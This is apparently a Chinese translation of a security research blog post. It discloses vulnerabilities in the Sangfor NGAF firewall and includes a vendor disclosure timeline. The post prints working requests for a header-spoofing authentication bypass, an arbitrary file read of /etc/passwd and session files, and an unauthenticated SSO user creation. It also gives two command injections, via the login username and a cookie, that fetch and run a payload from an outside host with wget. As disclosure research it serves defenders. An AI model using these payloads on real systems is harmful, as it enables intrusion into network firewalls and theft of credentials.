你可能已经注意到了一个趋势 - 是的,我们知道,我们看了很多企业级软件和设备。今天,我们不打算改变你对我们的期望 - 我们还是在看更多的企业级软件和设备。
今天,我们来看看Sangfor的Next Gen Application Firewall(NGAF)。
Sangfor(或Sangfor Technologies)是一家“中国的网络设备制造商,包括WAN优化、下一代防火墙和SSL VPN,主要销售给中型企业”。
Sangfor自称是“有效的网络安全和高效的企业云解决方案的正确选择”。我们知道这一点(除了“因为他们在他们的网站上这样说”),因为“在Sangfor,我们相信为我们的客户提供最好的IT架构和安全解决方案”。
以下是Sangfor关于他们NGAF的一些介绍:
“Sangfor NGAF是世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护。它是一个真正安全、集成和简化的防火墙解决方案,为整个组织的安全网络提供全面的概览,并为管理、运营和维护提供便利。”
太棒了。
在我们开始这段旅程之前,我们想明确一点 - Sangfor告诉我们,这篇博文中的所有漏洞要么已经修复,要么是误报。我们不是在宣称发现了0day漏洞。因此,我们很高兴与大家分享我们对旧漏洞的分析,以及我们根据Sangfor的说法认为是故意设计的行为,最终我们很高兴我们不需要应用我们的90天漏洞披露政策。
好奇的人可能会问:“这些已经存在且已修复的漏洞的公开通告在哪里?”好奇的人可能还会问,这样的漏洞怎么会出现在首次部署的安全设备中?幸运的是,我们不是好奇的人,我们很高兴不去质疑这些平凡的事情。
无论如何,我们偏离了主题。作为我们博文的痴迷读者可能已经知道,我们经常针对我们自豪地与之合作的组织的攻击面上看到的企业技术。
痴迷的读者也会熟悉我们对安全防火墙和VPN设备的深入痴迷 - 我们并不缺乏想象力,我们只是想要我们进入网络的入口点。
寻找猎物
在以前的博文中,我们详细介绍了如何破解应用程序的详细步骤 - 提取HTTP路由、寻找参数,并确定我们在目标软件中将哪些功能部分定性为“感兴趣”。然而,在所有这些之前,必须做出一个决定 - 目标是否有足够的吸引力,是否值得投入时间?
这种决策可能受到多种因素的影响,例如代码复杂性、现实世界的影响、安全透明度(哈哈),在这种特殊情况下,是不是散发出潜在的脆弱软件的明显迹象?
Sangfor的NGAF引起了我们的注意,因为它没有CVE披露。这通常意味着要么安全社区尚未对其代码进行审查,要么所讨论的设备确实是安全的,或者更有可能的答案 - 一个充斥着保密协议和类似类型协议的漏洞赏金计划使安全流程变得神秘!
我们通过https://aws.amazon.com/marketplace/pp/prodview-uujwjffddxzp4获得了Sangfor NGAF在AWS上的镜像,版本为AF8.0.17.364。
基于重定向行为、端口和服务器标语iis8.0
在深入研究代码和工作流程之前,我们可以从鸟瞰视角使用各种技巧来计算成功的“概率”。这些“概率”将帮助我们决定发现漏洞的可能性有多大,因此我们应该花费多少时间和精力来审计目标。
令许多批评者失望的是,我们在代码库中看到的第一个“线索”是这个被称为“下一代”的设备使用了PHP和C++ CGI二进制文件的混合。我们之前已经看到过自定义的PHP应用程序如何导致安全问题,你只需要看看我们最近对Juniper防火墙的深入研究就知道了 - 但不要只听我们的意见,即使是Sangfor的开发人员对PHP也持有不好的看法,我们完全赞同。
此外,包含这种粗俗语言的代码库本身就是一个“线索” - 开发人员要么没有打算让公众看到这些代码,要么根本不在乎显得不专业 - 在我们看来。
显然,我们的“概率”看起来相当不错。
当服务器端变成客户端时...
除了在应用程序代码库中寻找粗俗语言和注释之外,我们首先对设备进行了一些简单的测试。
当我们对设备有所了解时,我们开始探索可能揭示技术堆栈和架构内部工作方式的有趣行为。
很快,我们就发现了一个“线索”,这让我们对Sangfor NGAF的兴趣大增。
当请求目标服务器的PHP文件时,如果Content-Length头部中存在非数字值,服务器将以HTTP状态413(“内容太大”)进行响应。这并不是什么特别的,但不寻常的是,服务器端源代码(PHP)被转储在响应中(??):
curl --insecure https://<host>:85/index.php -H "content-Length:asdf"
HTTP/1.1 413 Request Entity Too Large
Date: Tue, 03 Oct 2023 10:08:06 GMT
Server:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/index.php<br />
does not allow request data with GET requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
<?php
/*
* @Func: ææç请æ±é½ç¨apacheæå¡å¨mod_rewrite模åæ¹åURLè§åï¼éæ°å®åå°è¿ä¸ªphpæ件
*/
session_start();
//ç»ä¸ä½¿ç¨webappsä½ä¸ºæ ¹ç®å½å®ä½å
¶å®æ件
require_once("../class/common/conf/config_inc.php");
if(SANGFOR_LANGUAGE == 'en.UTF-8') {
require_once("../conf/lang/eng.utf8.lang.app.php");
}
else {
require_once("../conf/lang/chs.utf8.lang.app.php");
}
//å¤ææ¯å¦åå¨ç¡¬ç
if(@file_exists("/etc/sinfor/log/diskerror.log")) {
header("Content-Type:text/html; charset=utf-8");
echo LOG_DISK_ERROR;
exit(0);
}
//对äºé«ç«¯æ¯ç设å¤ssd+hddå¤æhddæ¯å¦å¼å¸¸
if(@file_exists("/etc/sinfor/log/adv_diskerror.log")) {
header("Content-Type:text/html; charset=utf-8");
echo LOG_DISK_ERROR;
exit(0);
}
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");
$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
?>
几个小时后,盯着屏幕看了很久,我们得出结论,这可能不是故意的(Sangfor不同意)。
作为一个有教养的猜测,我们最有可能看到的是一个整数处理问题,发生在CGI处理程序的某个地方。不幸的是,这种类型的漏洞通常涉及敏感文件(如config.php等),这些文件在升级访问权限的漏洞中非常有用,但这些文件在这种情况下并不存在。
尽管上述行为很有趣,但我们对所达到的混乱程度并不满意 - 但我们确实感到,我们已经证明了这个设备很可能达到了“有趣”的标准。因此,是时候深入研究了。
洗牌和发牌
对于在家里跟随的朋友们,我们迅速枚举了使用命令lsof -nP -i | grep LISTEN从NGAF的本地shell上暴露的服务。简而言之,我们可以看到我们有两个HTTPS服务开放,监听在0.0.0.0上:
端口85/TCP,运行“防火墙报告中心”,以及
端口4433/TCP,运行“管理员登录门户”。
自然地,我们深入研究了端口85/TCP。
在这个服务中找到入口点 - 在位于/etc/apache/conf.new/original/httpd.conf的Apache配置中定义。
当我们试图了解设备暴露的攻击面以及Apache Web服务器配置文件中的具体内容时,我们寻找Location、ScriptAlias和Alias指令。这样做通常会为我们提供一个很好的端点和暴露目录的列表,在这个安全、强化的、由AI驱动的Sangfor设备的情况下,呈现的结果包括一个丰富的可能性列表:
Alias /icons/ "/virus/apache/apache/icons/"
Alias /bbc "/virus/webui/ext/fast_deploy.html"
Alias /manual/ "/virus/apache/apache/htdocs/manual/"
Alias /cgi-bin/ "/virus/webui/cgi-bin/"
Alias /svpn_html/ "/virus/webui/svpn_html/"
Alias /proxy.html "/virus/webui/ext/login.php"
Alias /proxy_cssp.html "/virus/webui/ext/login.php"
然而,尝试访问其中任何一个项目都会被重定向到认证页面 - 在LogInOut.php。
对我们来说,后认证漏洞并不感兴趣 - 我们只对预认证漏洞感兴趣。是时候再次查看Apache配置了。
进一步分析这个配置文件揭示了一个RewriteRule规则,它将所有请求重写到index.php,其中包含几个require和更重要的是 - 对控制器类的调用。
require_once(CLASS_COMMON_PATH."dispatch/CFrontController.php");
$t_objFrontController = new CFrontController();
$t_objFrontController->dispatchRequest();
这个控制器类处理我们的应用级路由。它在CFrontController.php中进行了详细的映射,我们可以看到与每个端点相关联的控制器函数:
没有一个直接通过Web界面访问这些函数,而不需要先进行身份验证,所以现在是时候查看调用这些函数的函数了。这就是dispatchRequest()函数。
在查看这个函数的时候,我们立即看到了我们下一个感兴趣的点 - 函数在转发请求之前检查身份验证。
我们可以看到一个IF条件,它将$_SERVER['REMOTE_ADDR'](即客户端的IP地址)与127.0.0.1(本地主机)的值进行比较,如果匹配,那么布尔值$t_boolNeedCheck被设置为false,并且绕过了重定向逻辑的其余部分。
这是条件身份验证的最佳实践。
public function dispatchRequest()
{
$t_objController = $this->getControllerInstance();
if($t_objController) {
//是否需要判断跨站攻击,一般登录页面不需要判断跨站攻击
if ($_SERVER['REMOTE_ADDR'] === '127.0.0.1')
$t_boolNeedCheck = false;
else
$t_boolNeedCheck = true;
if(isset($t_objController->m_boolNeedCheck))
$t_boolNeedCheck = $t_objController->m_boolNeedCheck;
//防止跨站攻击
if($this->isAuthUser() && strcmp($_SERVER['REMOTE_ADDR'],"127.0.0.2") != 0 && !isset($_REQUEST['scinfo']) && !isset($_REQUEST['sd_t']) && (!isset($_GET['sid']) || $_GET['sid'] != session_id()) && $t_boolNeedCheck)
{
//要设置t_boolNeedCheck = false,要不会有重定向死循环
CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
exit(0);
}
$t_fStartTime = $this->costMicroTime();
$t_strResult = $t_objController->action($this->m_objConf, $this->m_arrReturn);
$t_fEndTime = $this->costMicroTime();
$t_fTotal = $t_fEndTime - $t_fStartTime;
CMiscFunc::printMsg($t_fTotal);
return true;
}
CMiscFunc::locationHref('/Redirect.php?url=/LogInOut.php');
return false;
}
作为外部攻击者,我们能否控制PHP看到的IP地址,或者是否存在SSRF类型的漏洞,我们可以利用它们绕过这种强大的安全控制?
在现实世界中,有几个头部可以实现这一点 - 例如X-Forwarded-For和X-Real-Ip HTTP请求头,但实验证明它们没有效果。
再次参考httpd.conf,我们可以看到一个不寻常但可疑的指令 - RPAFheader Y-Forwarded-For。这个指令是从mod_rpaf模块加载的,允许客户端设置他们的“远程”IP地址...很有用。我们认为这可能是预期的功能。
测试请求涉及Y-Forwarded-For: 127.0.0.1,我们发现当进行未经身份验证的请求时,我们不再被重定向到登录页面。
哇哦!我们在潜在的漏洞链中达到了第一阶段,因为这为我们打开了一个“全新的世界” - 所有在Apache配置中定义的Alias。
例如,以前无法访问的/vmp_getinfo现在在我们的掌握之中:
curl --insecure https://<host>:85/vmp_getinfo -H "Y-Forwarded-For: 127.0.0.1"
这是一个事后的想法,但我们花了一些时间思考这个设置的实际目的,因为它在代码中没有被使用。也许它在测试期间被使用过,或者在后来的版本中删除了一些最初的目的?我们将这个想法留给你们自己思考,但是你知道,计算机和代码并不是魔法。
再展示一点...
凭借我们的“潜在行为”,我们有了一些有趣的行为,现在是时候出发,看看我们接下来要去哪里了?
回到Apache配置文件,有一个有趣的Alias指令 - /svpn_html/ "/virus/webui/svpn_html/" - 它呈现了一个更大的应用程序代码和功能集合供我们踢。
我们注意到了loadfile.php,它接受一个名为file的参数,解析其路径,读取内容,并将其写入响应。看起来像是一个易于获得的任意文件读取漏洞:
<?php
function get_basename($filename){
return preg_replace('/^.+[\\\\\\\\\\\\/]/', '', $filename);
}
$file = addslashes($_GET['file']);
echo $file;
//add by 1w
$file_path = pathinfo($file);
$extname = $file_path ['extension'];
$filename = "";
if (!file_exists($file)) {
die("File Not found");
}
$filename = get_basename($file);
$ua = $_SERVER["HTTP_USER_AGENT"];
header('Content-type: application/octet-stream');
if (preg_match("/Firefox/", $ua)) {
header('Content-Disposition: attachment; filename*="utf8\\'\\'' . $filename . '"');
} else {
header('Content-Disposition: attachment; filename="' . urlencode($filename) . '"');
}
readfile($file);
if($needDelete) {
@unlink($file);
}
?>
curl --insecure https://<host>:85/svpn_html/loadfile.php?file=/etc/./passwd -H "y-forwarded-for: 127.0.0.1"
糟糕。我们又一次取得了进展。
只是提醒一下,这是“世界上第一个具有人工智能功能和全面集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),通过Neural-X和Engine Zero等创新技术提供全面的威胁保护”。
虽然看到/etc/passwd总是一张精彩的截图,但我们想知道对我们的读者来说可能产生的最大影响是什么。除了找到明文凭据之外,我们确实发现了一些显示活动的PHPSESSID的文件,所以我们可以劫持会话,有很多可以选择的文件:
/etc/sinfor/DcUserCookie.conf
/etc/en/sinfor/DcUserCookie.conf
/config/etc/sinfor/DcUserCookie.conf
/config/etc/en/sinfor/DcUserCookie.conf
如果你还在寻找以管理员身份轻松获得访问权限的更简单的方法,你可以查看Apache访问日志,并查看通过GET请求传递的Cookie。Bug Triagers对这个“低级”的发现可能会感到困惑,但我们作为管理员却很轻松。
/virus/apache/apache/logs/access_log
编辑注:我们觉得自己在某些国家是非官方的系统管理员(希望有人能理解这个引用)。
转折点
此刻,我们不得不停下来,停下来思考。一个“下一代”应用防火墙怎么会有这样一个容易的、低悬的漏洞呢?这个设备真的安全吗?
对于我们来说,发现这个设备中的远程命令执行漏洞有多么容易,我们感到非常困惑。难道这个设备真的如此创新和下一代,我们正在看到新的东西吗?
好吧,暂时我们愿意接受这一点 - 我们发现远程命令执行的机会增加了,现在是时候全力以赴了。
在进一步审计设备之前,我们发现了一个有趣的文件 - HttpHandler.php,它提供了类似AJAX的功能。它接受两个请求参数,controler和action,并使用它们调用指定的控制器类和公共函数:
public function process()
{
try
{
$controller=$_REQUEST["controler"];
$action=$_REQUEST["action"];
$this->validPara($controller, 'AjaxReq_NoConctroler');
$this->validPara($action, 'AjaxReq_NoAction');
$controller = $controller."Controller";
//反射controller类信息
$classInfo = new ReflectionClass($controller);
//创建controller类实例
$instance=$classInfo->newInstance();
//反射得到action方法
$methodInfo = $classInfo->getMethod($action);
//反射得到action参数表
$parainfos=$methodInfo->getParameters();
$paras=array();
例如,如果设备与域连接,我们可以通过/svpn_html/delegatemodule/HttpHandler.php?controler=ExtAuth&action=GetDomainConf&id=3检索配置数据。
HTTP/1.1 200 OK
Date: Wed, 13 Sep 2023 08:47:12 GMT
Server:
X-Frame-Options: SAMEORIGIN
Set-Cookie: PHPSESSID=k0bo7srcg6kbsotog2qnrhpns2; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 303
Connection: close
Content-Type: text/html
{"code":0,"success":true,"result":{"devName":"**<redacted>**","svrDomainName":"","logSvrDomain":"","domainComputer":"","srvDomainAddr":"","domainUserName":"","domainUserPwd":"","enableDomain":0,"eanbleDomainAuth":0},"message":"Operation success","readOnlyInfo":{"enable_ids":"","disable_ids":"","readonly":1}}
是的,真的。
总共有20个控制器和一百多个函数需要审计。不幸的是,大多数具有有趣行为的公共函数还会检查“正确的”(即除了“源IP”之外)身份验证,我们再次被重定向到登录页面(这次没有绕过)。
我们找到了一个缺少身份验证检查的“写入”函数,允许我们写入SQLite数据库并为SSL VPN创建新的SSO用户。关于这个的影响,我们将留给你的想象力。
有趣的是,它也容易受到SQL注入的攻击,但由于底层的DBMS是SQLite,这对于RCE的效用有限。
POST /svpn_html/delegatemodule/HttpHandler.php HTTP/1.1
Host:
Y-Forwarded-For: 127.0.0.1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
controler=User&action=SetUserSSOInfo&userid=watchTowr&rcids=0&ssouser=watchTowr&ssopwd=watchTowr
在审计设备花费了大量时间后,我们得到了:
身份验证绕过
源代码泄露
本地文件读取
添加自己的SSO用户的能力
转储Active Directory配置信息,包括用户名和密码的能力。
但是,我们感到困惑。远程命令执行会逃脱我们吗?这个设备真的安全吗?
与Pspy合作
在这个过程中,我们不得不重新评估我们明显失败的方法。我们需要更多的透明度来理解与系统交互的代码。
对于大多数这样的应用程序,主要的注入类型是命令和SQL。也许我们可以通过在数据库配置中启用Trace日志或grep所有正在进行的操作系统命令来增强这些领域的可见性?
通过查看各种类,我们可以看到开发人员喜欢使用shell_exec、exec和popen来执行shell命令。代码有点难以追踪,所以我们使用pspy来帮助。
Pspy是一个有用的小工具,常常被CTF团队使用,它会在后台记录所有正在生成的进程及其参数 - 对于发现命令注入非常有用,我们怀疑这将是最快到达RCE的路径。
将pspy二进制文件和grep命令放在目标主机上,允许我们查看Apache进程生成的所有进程及其参数:
在再次运行所有控制器和函数之后,我们仍然无法找到任何明显的注入点。在耗尽了这个服务的代码库之后,我们决定休息一下,放弃(哈哈)。
这是一个幸运的例子 - 当以正常方式进行身份验证时,某种神秘的力量推动我们的手指,我们不小心输入了错误的用户名。我们仍然在观察进程的同时,我们的眼睛睁大了,因为我们看到:
正如您在上面的pspy捕获中所看到的,用户名Admi直接传递给了一个shell命令...我们是否可能在登录页面的用户名参数中注入我们自己的命令?
这显然是不可能的...一个普通的扫描器、渗透测试人员或赏金猎人肯定会发现的,对吧?好样的验证码。
在查看文件CFWLogInOutDAO.php时,我们可以找到负责此操作的remoteLogin()函数:
public function remoteLogin(&$in_arrSearchCondition)
{
$userName = $in_arrSearchCondition ['user_name'];
$passwd = $in_arrSearchCondition ['password'];
//rsa的解密
$t_strMD5 = $this->decrypt($passwd);
$fp = popen("/usr/sbin/remoteLogin remoteLogin $userName $t_strMD5", "r");
$retResult = fread($fp, 20);
pclose($fp);
if ($retResult == "retLoginSuccess") {
$in_arrSearchCondition ['user_name'] = $userName."_remote_";
$t_strUserName = addslashes($in_arrSearchCondition ['user_name']);
$t_strSQL = "SELECT * FROM FW_AUTH_dcuser.UserAuthInfo WHERE user_name = '$t_strUserName' AND status = 1 LIMIT 1";
return $this->setSession($t_strSQL);
}
return false;
}
具有讽刺意味的是,开发人员在处理之前在用户名上调用了addslashes()函数,但在在popen()函数中使用之前没有进行任何净化。糟糕!
经过一段时间的尝试,我们意识到无法在用户名中注入任意特殊字符,因为由于mod_security的限制,引号、重音符号(甚至逻辑运算符||和&&)都是不允许的。然而,我们注意到可以使用分号截断命令。
作为我们的注意力集中的人,我们希望展示一个神奇的输出,显示从单个HTTP请求到响应的命令执行 - 因此,我们必须变得有创造力。响应详细信息中列出了一个在文件/virus/dcweb/conf/lang/eng.utf8.lang.app.php中声明的静态错误消息。
我们的新生活目标是编写一个输出到此错误消息的命令。通常情况下(我们喜欢这个词),你会使用某种编码来绕过“ “和mod_security的限制,但是在这个设备上没有base64和xxd可用。为了绕过这个问题,我们采用了以下获胜路径:
在外部的HTTP服务器上托管有效载荷
使用wget获取有效载荷
通过source执行有效载荷 - 我们认为这比.更酷
用$(id)的值替换错误消息的内容
我们得到了这个令人惊叹的截图,展示了所有的一切:
请求:
POST /LogInOut.php HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Content-Length: 625
type=logged&un=watchTowr;wget http://<host>/cmd.txt;source /virus/dcweb/webapps/cmd.txt&up=0f2df0a6f151e836c8ccd1c2ea3bfbdfb7bfa0d38d438942492bd8f28f3e92939319f932f2f2add6d0d484accdc4c28269b203c4dc77c1da941fa19dae017d44d6ea8cad2572e37c485a8ebcb4bdb510cc86420a50ae45ae07daf5fe9c40fe133f3806cd8f3158ee359766e8e19c9fbbf7e888bf0d7f3952f4d083bd17cd19eb960dadec2835f6f259616f5b2e5942d3a4d1754cbd69696fae60ef18358bf5782dd5ebf377f5642e0583e630660ccac241a615ae21bfc12852a32d0367a899eb010e5d1c33669fc2e9ea3a0ecbf078c22120196a115b4038288063bf99610d3d331acb53e5c8fbd14229a4abdff83cf075a7b97a9bb9dae3586f19256f4262d5&vericode=<correct captcha>
Cmd.txt负载:sed -i s/Lock/"$(id)"/g /virus/dcweb/conf/lang/eng.utf8.lang.app.php
响应:
HTTP/1.1 200 OK
Date: Thu, 05 Oct 2023 07:46:53 GMT
Server:
X-Frame-Options: SAMEORIGIN
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: private, proxy-revalidate, no-transform
Pragma: private, proxy-revalidate, no-transform
Vary: Accept-Encoding,User-Agent
Content-Length: 139
Connection: close
Content-Type: text/html
错误:uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)因登录失败次数过多而触发。请在5分钟后再试!
寻找兔子
虽然每个研究人员都梦想找到RCE,但发现这样一个简单的漏洞令人沮丧。人们可能会期望实现RCE需要一个美丽的2或3个漏洞链,使用授权绕过、PHP对象注入和各种其他花招。
你可以想象在这个设备中实现大RCE是多么容易。
只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。
我们决定给这个设备第二次机会-也许一些野外的设备已经将85/TCP端口防火墙关闭,只开放了4433/TCP端口。这将给我们一个机会来构建一个更复杂的攻击路径,获得更多的关注/互联网积分。
在4433端口上,攻击面略有不同,因为原生流通过C++ CGI文件进行身份验证,而不是通过PHP进行身份验证。我们曾考虑过花费我们的晚上在Ghidra分析它,但我们想到也许设计了85/TCP端口上的登录PHP脚本的开发人员也开发了CGI模块,也许...也许...
受到这个想法的启发,我们尝试了带着pspy仍在运行的登录流程。使用相同的原理,我们尝试使用错误的用户名登录...哎呀,又执行了一个略有不同格式的shell命令。很明显,Cookie PHPSESSIONID被用在一个echo命令中写入临时文件。
POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=2e01d2ji93utnsb5abrcm780c2
Content-Type: Application/X-www-Form
Connection: close
Content-Length: 113
{"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "Y92N" , "privacy_enable": "0"}}
pspy捕获到的信息:
CMD: UID=65534 PID=31595 | sh -c echo loginmain.cpp is_vericode_vaild 1982 get the file : /tmp/sess_2e01d2ji93utnsb5abrcm780c2 context is failed errno : No such file or directory >> /tmp/login.log
由于值是从Cookie中获取的,我们无法注入分号来截断命令(或对它们进行URL编码)。相反,通过利用允许使用反引号的特性,我们可以创建自己的变量并在括号内评估其内容。不幸的是,这里没有美丽的sed输出可以使用,所以你只能满足于一个超出范围的请求🙂
POST /cgi-bin/login.cgi HTTP/1.1
Host:
Cookie: PHPSESSID=`$(wget host)`;
Content-Type: Application/X-www-Form
Connection: close
{"opr":"login", "data":{"user": "watchTowr" , "pwd": "watchTowr" , "vericode": "EINW" , "privacy_enable": "0"}}
糟糕,又是RCE。
只是提醒一下,这是“世界上第一个具有全面保护功能的AI启用和完全集成的NGFW(下一代防火墙)+ WAF(Web应用防火墙),由Neural-X和Engine Zero等创新技术提供支持”。
房子总是赢的
在赌桌上积累了我们的漏洞筹码后,我们联系了Sangfor的技术团队准备兑现。
经过几封激动人心的来回邮件后,我们没有直接与安全团队交流,而是通过技术支持与安全团队交流。
Sangfor的团队声称他们要么已经完全意识到这些问题,并已经分发了补丁,要么无法验证我们的发现,称之为“误报”。也许我们被旁边的玩家欺骗了,最终得到了未公开的N天。
无论如何,这很有趣。我们将让你自己来推断可能发生了什么,或者可能没有发生什么。
结论
当赏金猎人、研究人员或渗透测试人员研究攻击面以寻找漏洞时,通常默认认为防火墙和VPN等设备已经经过加固,通常是由于内部安全审查流程以及与其他企业的外部流程竞争。
编辑注:还有一个事实是,我猜他们都在这些设备上说“安全”和“安全”。
不用说,像上面演示的这样的低级漏洞在2023年应该是不存在的,我们希望在这一年里,发现真正有影响力的漏洞所需的投入已经大幅增加。我们希望这篇文章能改变这种心态-即使是一个入门级的攻击性安全实验室课程对于像这样一个被广泛使用的“下一代”产品来说也是非常相关的。
到目前为止,常规读者应该已经很清楚,我们在watchTowr这里喜欢挑战这样的“加固”设备。确实,有了这样的漏洞,很难不感兴趣-我们鼓励所有对漏洞猎捕感兴趣的人拿起他们最近的“下一代”或“企业级”防火墙或VPN终端,开始将其拆解。
对于网络防御者来说,真正的教训是我们不能假设这些加固设备真的是加固的。无论销售人员告诉你什么,没有什么能比得上网络分割和最小权限原则。
如果您想了解更多关于watchTowr平台、我们的攻击面管理和持续自动红队解决方案,请与我们联系。
时间表
日期 细节
2023年9月13日 发现漏洞
2023年9月14日 请求Sangfor的安全联系人
2023年9月18日 收到安全联系人,向Sangfor披露
2023年9月18日 watchTowr在客户的攻击面中寻找受影响的系统,并与受影响的系统进行沟通。
2023年9月26日 Sangfor对每个项目做出回应:
- 身份验证绕过- Sangfor认为是误报
- 本地文件读取-(内部已知问题-发布了补丁(在哪里?))
- 命令注入-(内部已知问题-发布了补丁(在哪里?))
- 源代码泄露- Sangfor认为是误报
- SSO用户添加/SQLite注入- Sangfor认为是误报
2023年10月5日 向公众发布博文和PoC
上一篇
90年代软件(Exim)中的90年代漏洞-天空会塌下来吗?
没有评论:
发表评论